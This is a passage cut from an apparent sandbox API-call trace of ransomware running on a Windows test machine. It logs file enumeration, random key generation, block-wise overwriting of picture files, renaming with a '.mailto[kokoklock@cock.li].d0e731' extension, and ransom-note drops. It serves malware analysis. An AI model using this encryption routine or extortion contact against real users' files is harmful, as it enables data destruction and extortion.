"c:\\users\\fd1hvy\\pictures\\qlaru6xm.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.075] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.075] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff26d8) returned 1 [0170.075] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4900 [0170.075] wcscpy (in: _Dest=0x2fa4900, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0170.075] wcscat (in: _Dest=0x2fa4900, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0170.075] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0170.075] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4900) returned 1 [0170.075] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5560) returned 1 [0170.075] RtlExitUserThread (Status=0x1) Thread: id = 1877 os_tid = 0x4a0 [0170.077] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa4900 [0170.077] wcscpy (in: _Dest=0x2fa4900, _Source="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures") returned="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures" [0170.077] wcscat (in: _Dest=0x2fa4900, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\" [0170.077] wcscat (in: _Dest=0x2fa4900, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*") returned="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*" [0170.077] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022e58 [0170.077] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*", lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045a28 [0170.077] wcscmp (_String1=".", _String2=".") returned 0 [0170.077] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.077] wcscmp (_String1="..", _String2=".") returned 1 [0170.077] wcscmp (_String1="..", _String2="..") returned 0 [0170.078] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0170.078] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0170.078] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0170.078] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0170.078] FindClose (in: hFindFile=0x3045a28 | out: hFindFile=0x3045a28) returned 1 [0170.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022e58) returned 1 [0170.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4900) returned 1 [0170.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fd0) returned 1 [0170.078] RtlExitUserThread (Status=0x0) Thread: id = 1878 os_tid = 0x4ac [0170.079] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\tg1fyx0onrzzb.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.079] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\tg1fyx0onrzzb.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.079] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1196fef0 | out: lpFileSize=0x1196fef0*=35565) returned 1 [0170.079] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x8ae9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.079] ReadFile (in: hFile=0x370, lpBuffer=0x1196fec4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1196fec0, lpOverlapped=0x0 | out: lpBuffer=0x1196fec4*, lpNumberOfBytesRead=0x1196fec0*=0x4, lpOverlapped=0x0) returned 1 [0170.080] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.080] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.080] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.080] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88610 [0170.080] NtQuerySystemTime (in: CurrentTime=0x1196fe9c | out: CurrentTime=0x1196fe9c*=132121213273970799) returned 0x0 [0170.080] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x90a76ecf [0170.080] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x8d80d0bf [0170.080] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xeb80b1ea [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x3dbbf0b1 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xb55fcf4c [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x5fd0f298 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xa5807483 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x3a69289d [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x5c8165ea [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x74f00ba4 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xfbf14146 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xc5d0af58 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xfbbe25ac [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x558560b9 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x676f5bee [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x97865134 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xeb19a673 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x770d2bd0 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xfe5b46ac [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x39c9785f [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xd7d111f7 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xd6dc1543 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xd19673b1 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xaa8d5144 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x3e020a2f [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x30bcc8c6 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xf920e342 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x42721649 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0xf6f1feee [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x3524ec46 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x8a1a9391 [0170.081] RtlRandom (in: Seed=0x1196fea8 | out: Seed=0x1196fea8) returned 0x6c98999 [0170.090] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88728 [0170.092] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.092] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88638 [0170.092] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.092] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.093] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.093] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.093] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1196fe74, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x1196fe74*=0x4096, lpOverlapped=0x0) returned 1 [0170.093] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.093] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.093] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.093] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88660 [0170.093] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88660) returned 1 [0170.093] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.094] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886d8 [0170.094] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.094] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.094] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.094] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.094] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1196fe74, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x1196fe74*=0x4096, lpOverlapped=0x0) returned 1 [0170.094] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.094] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x8aed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.094] WriteFile (in: hFile=0x370, lpBuffer=0x2f886d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1196feac, lpOverlapped=0x0 | out: lpBuffer=0x2f886d8*, lpNumberOfBytesWritten=0x1196feac*=0x20, lpOverlapped=0x0) returned 1 [0170.094] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886d8) returned 1 [0170.094] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.095] WriteFile (in: hFile=0x370, lpBuffer=0x2f88638*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1196fec0, lpOverlapped=0x0 | out: lpBuffer=0x2f88638*, lpNumberOfBytesWritten=0x1196fec0*=0x8, lpOverlapped=0x0) returned 1 [0170.095] WriteFile (in: hFile=0x370, lpBuffer=0x1196fed8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1196fec0, lpOverlapped=0x0 | out: lpBuffer=0x1196fed8*, lpNumberOfBytesWritten=0x1196fec0*=0x4, lpOverlapped=0x0) returned 1 [0170.095] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1196fec0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1196fec0*=0x4, lpOverlapped=0x0) returned 1 [0170.095] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1196fec0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1196fec0*=0x6c, lpOverlapped=0x0) returned 1 [0170.095] WriteFile (in: hFile=0x370, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1196fec0, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x1196fec0*=0x20, lpOverlapped=0x0) returned 1 [0170.095] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1196fec0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1196fec0*=0x4, lpOverlapped=0x0) returned 1 [0170.095] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.095] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88728) returned 1 [0170.095] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88638) returned 1 [0170.095] CloseHandle (hObject=0x370) returned 1 [0170.096] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f98238 [0170.096] wcscpy (in: _Dest=0x2f98238, _Source="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731" [0170.096] wcscat (in: _Dest=0x2f98238, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.096] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\tg1fyx0onrzzb.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\tg1fyx0onrzzb.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.096] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.097] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98238) returned 1 [0170.097] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.097] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0170.097] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0170.097] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0170.097] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0170.097] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0170.097] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3400) returned 1 [0170.097] RtlExitUserThread (Status=0x1) Thread: id = 1879 os_tid = 0x468 [0170.103] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\uopwqv2kw.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.103] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\uopwqv2kw.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.103] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x119ef924 | out: lpFileSize=0x119ef924*=39083) returned 1 [0170.103] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x98a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.103] ReadFile (in: hFile=0x370, lpBuffer=0x119ef8f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x119ef8f4, lpOverlapped=0x0 | out: lpBuffer=0x119ef8f8*, lpNumberOfBytesRead=0x119ef8f4*=0x4, lpOverlapped=0x0) returned 1 [0170.104] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.104] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.104] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.104] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88638 [0170.104] NtQuerySystemTime (in: CurrentTime=0x119ef8d0 | out: CurrentTime=0x119ef8d0*=132121213274126823) returned 0x0 [0170.104] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x59185a16 [0170.104] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xc5e253f0 [0170.104] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xf722beb7 [0170.104] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x3aef125a [0170.104] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xa87ee5e3 [0170.104] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x2cca25bf [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x26a2d0d7 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xbe200208 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x684a15fa [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xc507a237 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xc02d47c3 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x3553a0a9 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xc4d2d887 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x40efd256 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x80debfaa [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xf5bb84a0 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xc09340c3 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xe8e20a9b [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x24545da1 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xc5ccf020 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x2a057b5d [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x871774e7 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x96192ff0 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x451c7541 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x4bdd7cea [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xc11d9e7e [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x6248ee67 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x9684bb12 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x7340c729 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xfb5f67c3 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0xb6a2ab77 [0170.105] RtlRandom (in: Seed=0x119ef8dc | out: Seed=0x119ef8dc) returned 0x8b343039 [0170.114] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88660 [0170.116] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.116] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88688 [0170.116] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.116] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.116] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.116] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.116] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x119ef8a8, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x119ef8a8*=0x4096, lpOverlapped=0x0) returned 1 [0170.117] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.117] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.117] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.117] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0170.117] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886b0) returned 1 [0170.117] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.117] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88728 [0170.118] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0170.118] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886b0) returned 1 [0170.118] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.118] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.118] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x119ef8a8, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x119ef8a8*=0x4096, lpOverlapped=0x0) returned 1 [0170.118] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.118] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x98ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.118] WriteFile (in: hFile=0x370, lpBuffer=0x2f88728*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x119ef8e0, lpOverlapped=0x0 | out: lpBuffer=0x2f88728*, lpNumberOfBytesWritten=0x119ef8e0*=0x20, lpOverlapped=0x0) returned 1 [0170.118] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88728) returned 1 [0170.119] RtlFreeHeap (HeapHandle=0x2f60000, 